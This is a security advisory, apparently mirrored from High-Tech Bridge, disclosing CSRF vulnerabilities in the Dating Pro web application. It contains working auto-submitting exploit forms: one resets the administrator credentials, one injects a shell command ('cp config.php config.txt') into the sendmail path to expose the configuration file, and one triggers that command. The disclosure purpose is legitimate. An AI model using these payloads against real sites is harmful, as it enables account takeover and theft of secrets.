Lucene search

K
htbridgeHigh-Tech BridgeHTB23294
HistoryFeb 10, 2016 - 12:00 a.m.

Admin Password Reset & RCE via CSRF in Dating Pro

2016-02-1000:00:00
High-Tech Bridge
www.htbridge.com
486

High-Tech Bridge Security Research Lab discovered multiple Cross-Site Request Forgery (CSRF) vulnerabilities in a popular dating social network Dating Pro.

A remote unauthenticated attacker can perform CSRF attacks to change administrator’s credentials and execute arbitrary system commands. Successful exploitation of the vulnerability may allow attacker to gain complete control over the vulnerable website, all its users and databases.

  1. CSRF in “/admin/ausers/index”

The vulnerability exists due to the absence of validation of HTTP request origin in “/admin/ausers/index” script. A remote unauthenticated attacker can create a specially crafted malicious web page with CSRF exploit, trick a logged-in administrator to visit the page, spoof the HTTP request as if it was coming from the legitimate user, and change login, email address and password of the current website administrator. This means a total takeover of the website.

A simple CSRF exploit below will change login, email and password to “admin”, “[email protected]” and “123456” respectively.

To reproduce the vulnerability, just create an empty HTML file, paste the CSRF exploit code into it, login to iTop website and open the file in your browser:

<form action=“http://[host]/admin/ausers/index” method=“post” name=“main”>
<input type=“hidden” name=“nickname” value=“admin”>
<input type=“hidden” name=“email” value="[email protected]">
<input type=“hidden” name=“update_password” value=“1”>
<input type=“hidden” name=“password” value=“123456”>
<input type=“hidden” name=“repassword” value=“123456”>
<input type=“hidden” name=“name” value=“admin”>
<input type=“hidden” name=“description” value=“”>
<input type=“hidden” name=“btn_save” value=“Save”>
<input value=“submit” id=“btn” type=“submit” />
</form><script>document.main.submit();</script>

Now you can login as administrator using the above-mentioned credentials.

  1. CSRF in /admin/notifications/settings/

The vulnerability exists due to absence of validation of HTTP request origin in “/admin/notifications/settings/” script. A remote unauthenticated attacker can create a specially crafted malicious web page with CSRF exploit, trick a logged-in administrator to visit the page, spoof the HTTP request as if it was coming from the legitimate user, and execute arbitrary system commands with privileges of the web server.

A simple exploit below will replace full path to sendmail program with the following “cp config.php config.txt” system command that will copy “config.php” file into “config.txt” making its content publicly accessible:

<form action=“http://[host]/admin/notifications/settings/” method=“post” name=“main”>
<input type=“hidden” name=“mail_charset” value=“utf-8”>
<input type=“hidden” name=“mail_protocol” value=“sendmail”>
<input type=“hidden” name=“mail_useragent” value=“pg-mailer”>
<input type=“hidden” name=“mail_from_email” value="[email protected]">
<input type=“hidden” name=“mail_from_name” value=“PgSoftware”>
<input type=“hidden” name=“” value=“”>
<input type=“hidden” name=“btn_save” value=“Save”>
<input type=“hidden” name=“mail_mailpath” value=“cp config.php config.txt ||”>
</form><script>document.main.submit();</script>

The command will be executed the next time when any email is being sent by the vulnerable web application.

It is also possible to trigger this event using the following following CSRF exploit:

<form action=“http://[host]/admin/notifications/settings/” method=“post” name=“main”>
<input type=“hidden” name=“mail_to_email” value="[email protected]">
<input type=“hidden” name=“btn_test” value=“Send”>
</form><script>document.main.submit();</script>